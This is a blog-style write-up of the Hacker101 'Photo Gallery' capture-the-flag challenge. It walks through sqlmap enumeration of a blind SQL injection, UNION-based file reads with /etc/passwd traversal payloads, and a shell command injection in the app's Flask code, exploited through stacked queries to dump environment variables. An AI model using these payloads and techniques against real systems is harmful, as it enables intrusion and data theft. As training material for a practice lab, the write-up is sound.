CTF Hacker 101 Photo Gallery - write-up

For a couple of months, I've wanted to do a little write-up about some of the HTB boxes or other targets I've gone through, but I never found enough reason to do it. Recently, however, I've been going through the Hacker101 CTF and encountered the "Photo Gallery" challenge.
I usually approach any challenge by giving it a try myself but if I get stuck for hours, I go and google write-ups of other hackers, and even if I don't get stuck, once I complete it I check write-ups anyway. It is the approach most experienced infosec professionals recommend, mainly for learning purposes, since there's always more than one way of getting a flag.
This challenge wasn't super complicated; it took me some time to figure things out, but I could complete it without any significant issues. So, after I finished it, I went and started looking at the write-ups that are out there, and this is what triggered me to write this blog post.
While going through what others were doing approaching the target, I noticed that many solutions make no sense; they lack the details, the authors draw misleading conclusions, or in some cases, the solutions are plain wrong. For instance, this challenge contains one of the flags stored in the database, and someone said that the sqlmap offered to brute-force it, and they even pasted the result of that brute-force. I will leave it without further comments ;)

Anyway, since there are already several write-ups out there spoiling the fun, I thought I could write it myself. I hope that explaining everything step by step and providing all the details will allow you to learn and understand something (of course, you can copy and paste my commands, which will work too).

So, here we go.

Here is the screenshot of the target app, which looks like a simple photo gallery.

It also looks like one of the images is not displayed correctly. So let's view the source.

The page doesn't contain the direct URLs to the images but instead uses some API to retrieve the image paths. Cool, there's something to break here.
Every time I see this type of API, where we have a parameter=value in the URL, I cross my fingers that there's a database in the backend and launch the sqlmap.

Database enumeration

                        sqlmap -u "https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=1"

Sure enough, the id parameter is vulnerable to SQL, and it is time-based blind SQLi in this case.
Let's check the current database name.

                        sqlmap -u "https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=1" --current-db --threads=10

Now, let's retrieve the tables and their content.


                        sqlmap -u "https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=1" --tables -D level5 --threads=10


                        sqlmap -u "https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=1" --dump -D level5 -T albums --threads=10
                        sqlmap -u "https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=1" --dump -D level5 -T photos --threads=10

Here's our first flag.

Based on the parameter id, it looks like the application retrieves the filename and loads the file. We could check if this is vulnerable to a union attack, using a non-existing file id and a filename that we know is valid.

So, it looks like we can load files using this URL:

Trying to read a few different files (e.g., index.html or index.php), it's unclear what development stack this is or where we are in the directory structure. It also seems like we can't escape the current folder. The following URLs:

                        https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=4 union select '/etc/passwd'--
                        https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=4 union select '../../../../../../../../../../../../../../../../etc/passwd'--
                        https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=4 union select '..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd'--
result with 500 server response.

Time to look at the hints.
One of the Flag0 hints says: This application runs on the uwsgi-nginx-flask-docker image.
So it's python + flask.
A quick google search, and we find: https://hub.docker.com/r/tiangolo/uwsgi-nginx-flask/

In the documentation, we see the folder structure of the app and file names of the code and config. According to the docs, from the app folder, we should read the uwsgi.ini file:

Based on the file content (and according to the documentation), the main code is in main.py, so let's load it.

Here's our second flag.
Let's see if we can get it formatted by checking the page source.

That's much better. I immediately see the command injection vulnerability here, but let's go through the code line by line. First, let's extract the essential part:

                        cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
                        fns = []
                        for pid, ptitle, pfn in cur.fetchall():
                            rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
                        rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
                        rep += '</div>\n'
The line below executes an SQL query to get our files from the database:

                        cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
Then, we loop through the results:

                        for pid, ptitle, pfn in cur.fetchall():
Next, we make a list of the actual file names:

Finally, here's where the magic happens:

                        rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
This piece of code in particular:

                        'du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns)
That's our command injection vulnerability. We see that the code will insert every value of the filename column in the place of %s, and there doesn't seem to be any sanitization. So, if we could insert a Linux command instead of a file path, it would be executed. We, of course, have to format it properly, so it makes sense and can get executed, but that's easy. For instance, our fn could have a value of:

                        . || ls > 'file.txt'
If we add it in place of %s, the application will execute this:

                        du -ch . || ls > 'file.txt' || exit 0
Looking at the content of the main.py file, the SQL-related part doesn't do any magic, so we could try to stack SQL commands. Let's give it a try.

Of course, we have to encode it, so the whole URL looks like this:

Now we refresh the main page so that the code executes and then loads the file using the previous union:


We can also double-check that the filename column of the photos table contains our command:

                        sqlmap -u "https://8ba5a20cce1a3e195a5afdadbc87337f.ctf.hacker101.com/fetch?id=1" --dump -D level5 -T photos -C filename --threads=10

I followed this approach for a little longer and checked the content of different files, but after some time, I started feeling a bit stuck, so I decided to look at the hints. The last available hint said, "Be aware of your environment." So let's try to output the environment variables into the file and then load it:


That's it; here are all the flags we already had, plus the last one.

Writing this post, I tried to be as clear and precise as possible. I hope you enjoyed it and learned something valuable.